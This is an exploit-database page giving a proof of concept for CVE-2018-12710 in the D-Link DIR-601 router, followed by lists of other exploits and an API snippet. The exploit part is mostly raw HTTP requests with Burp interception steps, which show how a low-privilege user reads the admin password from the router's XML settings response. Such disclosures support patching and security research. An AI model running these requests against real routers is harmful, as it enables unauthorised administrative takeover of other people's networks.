Search for hundreds of thousands of exploits

"DLink DIR-601 - Credential Disclosure"

Author

Exploit author

"Kevin Randall"

Platform

Exploit platform

hardware

Release date

Exploit published date

2018-08-30

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# Exploit Title: DLink DIR-601 - Credential Disclosure
# Google Dork: N/A
# Date: 2018-06-24
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.dlink.com
# Software Link: N/A
# Version: Firmware: 2.02NA Hardware Version B1
# Tested on: Windows 10 + Mozilla Firefox
# CVE : CVE-2018-12710
 
# 1. Description
# Being local to the network and having only "User" account (which is a low privilege account)
# access, an attacker can intercept the response from a POST request to obtain "Admin"
# rights due to the admin password being displayed in XML.

# 2. Proof of Concept
# Tools to use:
# - BurpSuite
# - Browser of your choice

# 3: Login with "User" role account:
*My "User" role account does not have a password in this example*
POST /my_cgi.cgi?0.4008728147399542 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-AU,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/login_real.htm
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
DNT: 1
Connection: close

request=login&user_user_name=dXNlcg==&user_user_pwd=&user_type=1

# 4: When logged into the access point, click on the Tools option

# 5: You should see a request similar to the following:

POST /my_cgi.cgi?0.9277791631615954 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-AU,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/tools_admin.htm
Content-Type: application/x-www-form-urlencoded
Content-Length: 277
DNT: 1
Connection: close

request=load_settings&table_name=admin_user&table_name=user_user&table_name=graph_auth&table_name=remote_management&table_name=system&table_name=virtual_server&table_name=port_forwarding&table_name=application_rules&table_name=inbound_filter&table_name=fw_ver&table_name=hw_ver

# 6: Right click on this request and choose "Do Intercept response from this request"

# 7: You will see a response similar to the following:

HTTP/1.1 200 OK
Content-type: text/xml
Connection: close
Date: Sat, 01 Jan 2011 00:19:56 GMT
Server: lighttpd/1.4.28
Content-Length: 20088

<?xml version="1.0" encoding="UTF-8"?><root><login_level>0</login_level><admin_user><admin_user_name>admin</admin_user_name>
<admin_user_pwd>testagain</admin_user_pwd><admin_level>1</admin_level></admin_user><user_user><user_user_name>user</user_user_name>
<user_user_pwd></user_user_pwd><user_level>0 ...
Release DateTitleTypePlatformAuthor
2020-07-08"SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)"webappshardware"Metin Yunus Kandemir"
2020-07-08"BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)"webappshardware"William Summerhill"
2020-07-07"Sickbeard 0.1 - Remote Command Injection"webappshardwarebdrake
2020-06-25"mySCADA myPRO 7 - Hardcoded Credentials"remotehardware"Emre Γ–VÜNΓ‡"
2020-06-15"Netgear R7000 Router - Remote Code Execution"webappshardwaregrimm-co
2020-06-08"Kyocera Printer d-COPIA253MF - Directory Traversal (PoC)"webappshardware"Hakan Eren ŞAN"
2020-06-04"Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read"webappshardwareLiquidWorm
2020-06-04"AirControl 1.4.2 - PreAuth Remote Code Execution"webappshardware0xd0ff9
2020-06-04"D-Link DIR-615 T1 20.10 - CAPTCHA Bypass"webappshardware"huzaifa hussain"
2020-06-04"SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User)"webappshardwareLiquidWorm
Release DateTitleTypePlatformAuthor
2020-03-11"CoreFTP 2.0 Build 674 MDTM - Directory Traversal (Metasploit)"remotewindows"Kevin Randall"
2020-03-11"CoreFTP 2.0 Build 674 SIZE - Directory Traversal (Metasploit)"remotewindows"Kevin Randall"
2019-12-17"Netgear R6400 - Remote Code Execution"webappshardware"Kevin Randall"
2019-11-18"Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal"webappshardware"Kevin Randall"
2019-06-04"DVD X Player 5.5 Pro - Local Buffer Overflow (SEH)"localwindows"Kevin Randall"
2019-04-30"Freefloat FTP Server 1.0 - 'STOR' Remote Buffer Overflow"remotewindows"Kevin Randall"
2019-04-30"Freefloat FTP Server 1.0 - 'SIZE' Remote Buffer Overflow"remotewindows"Kevin Randall"
2019-03-26"Titan FTP Server Version 2019 Build 3505 - Directory Traversal / Local File Inclusion"webappswindows"Kevin Randall"
2019-03-13"Core FTP Server FTP / SFTP Server v2 Build 674 - 'SIZE' Directory Traversal"doswindows"Kevin Randall"
2019-03-13"Core FTP Server FTP / SFTP Server v2 Build 674 - 'MDTM' Directory Traversal"doswindows"Kevin Randall"
2018-08-30"DLink DIR-601 - Credential Disclosure"webappshardware"Kevin Randall"
2018-04-02"DLink DIR-601 - Admin Password Disclosure"webappshardware"Kevin Randall"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/45306/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.